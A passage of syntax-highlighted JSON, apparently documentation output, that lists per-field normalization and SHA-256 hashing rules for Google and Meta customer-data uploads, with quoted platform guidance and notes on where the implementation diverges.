      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"email_address"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.google.com/data-manager/api/devguides/concepts/formatting"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-google-first_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Titles and suffixes ('Mrs.', 'Jr.') are not removed, because removing them needs a list of words, and a wrong entry in that list changes a real name. preflight_file warns when it sees a common one; the source system has to split it out."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Convert to lowercase. Don't include prefixes such as Mrs. Whitespace: Trim leading and trailing whitespace. Hashing: Hash using the SHA-256 algorithm."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"first_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Trims ASCII whitespace at both ends and lowercases. Keeps punctuation. Does not remove prefixes such as 'Mrs.': the caller must."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"given_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.google.com/data-manager/api/devguides/concepts/formatting"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-google-last_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Titles and suffixes ('Mrs.', 'Jr.') are not removed, because removing them needs a list of words, and a wrong entry in that list changes a real name. preflight_file warns when it sees a common one; the source system has to split it out."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Convert to lowercase. Don't include suffixes such as Jr. Whitespace: Trim leading and trailing whitespace. Hashing: Hash using the SHA-256 algorithm."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"last_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Trims ASCII whitespace at both ends and lowercases. Keeps punctuation, so a hyphenated name keeps its hyphen. Does not remove suffixes such as 'Jr.': the caller must."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"family_name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.google.com/data-manager/api/devguides/concepts/formatting"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-google-phone"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Letters are refused (needs_review) instead of stripped. This page says only that every character after the plus sign must be digits; the Google Ads page's samples strip all non-digits, which can fuse an extension into the number."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"Fewer than 8 digits after the '+' is refused. E.164 has a few 7-digit numbers (small territories) that the Google Ads sample pattern +[1-9]&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;d{6,14} accepts; this code does not."&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"diverges"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"(800)555-0100"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"normalized"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"+18005550100"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Use E.164 format. Include the plus sign (+) and the country code. All characters after the plus sign must be digits. For example, the US phone number (800)555-0100 should be formatted and normalized to +18005550100. Whitespace: Trim leading and trailing whitespace. Hashing: Hash using the SHA-256 algorithm."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"phone"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Drops spaces, parentheses, dashes, dots and slashes. A leading '+' or the international prefix '00' followed by 8 to 15 digits is taken as E.164; a country code starting with 0 is refused. A number without a country code resolves only through the region (the record's own two-letter country when it has one, else default_region), and only for US, CA, GB, AU, BR and DE; for GB, AU and DE the national trunk '0' is dropped. A trunk zero written inside an international number ('+44 (0)20...', '+49 030...') is refused, checked only after +44, +49, +55 and +61 and for any '(0)'; other countries are not checked, because some, Italy among them, keep the 0. Anything else, and any letter, is returned as needs_review with the reason, never guessed. Output is E.164 with the leading '+'."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"phone_number"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.google.com/data-manager/api/devguides/concepts/formatting"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-google-postal_code"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Both US and international zip and postal codes are allowed. For US addresses, use either 5 digits or 5 digits followed by a 4-digit extension. Using a 4-digit extension may improve your match rate. For all other countries, don't use postal code extensions. Whitespace: Trim leading and trailing whitespace. Hashing: Don't hash postal_code."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"postal_code"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Trims ASCII whitespace at both ends. Nothing else: no truncation, so a US ZIP+4 is kept, and never hashed."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"postal_code"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.google.com/data-manager/api/devguides/concepts/formatting"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-google-state"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Used only for Google Analytics. The administrative area (state or province) of the user's address. Use either the two-letter abbreviation (for example, ca) or the full name (for example, california). Convert to lowercase. Remove symbol characters. Whitespace: Trim leading and trailing whitespace. Hashing: Don't hash administrative_area."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"state"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Not implemented. The tool returns not_implemented for this pair."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"param"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"administrative_area"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"google"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sourceUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://developers.google.com/data-manager/api/devguides/concepts/formatting"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalizationRule-meta-city"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"divergences"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docExamples"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;

      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"docQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hashing required. Using Roman alphabet a-z characters is recommended. Lowercase only with no punctuation, no special characters, and no spaces. If using special characters, the text must be encoded in UTF-8 format."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"field"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"city"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hashed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implementation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Removes punctuation, symbols and spaces, lowercases: 'New York' becomes 'newyork'."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"implemented"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kbEntry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normalization_and_hashing/meta"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
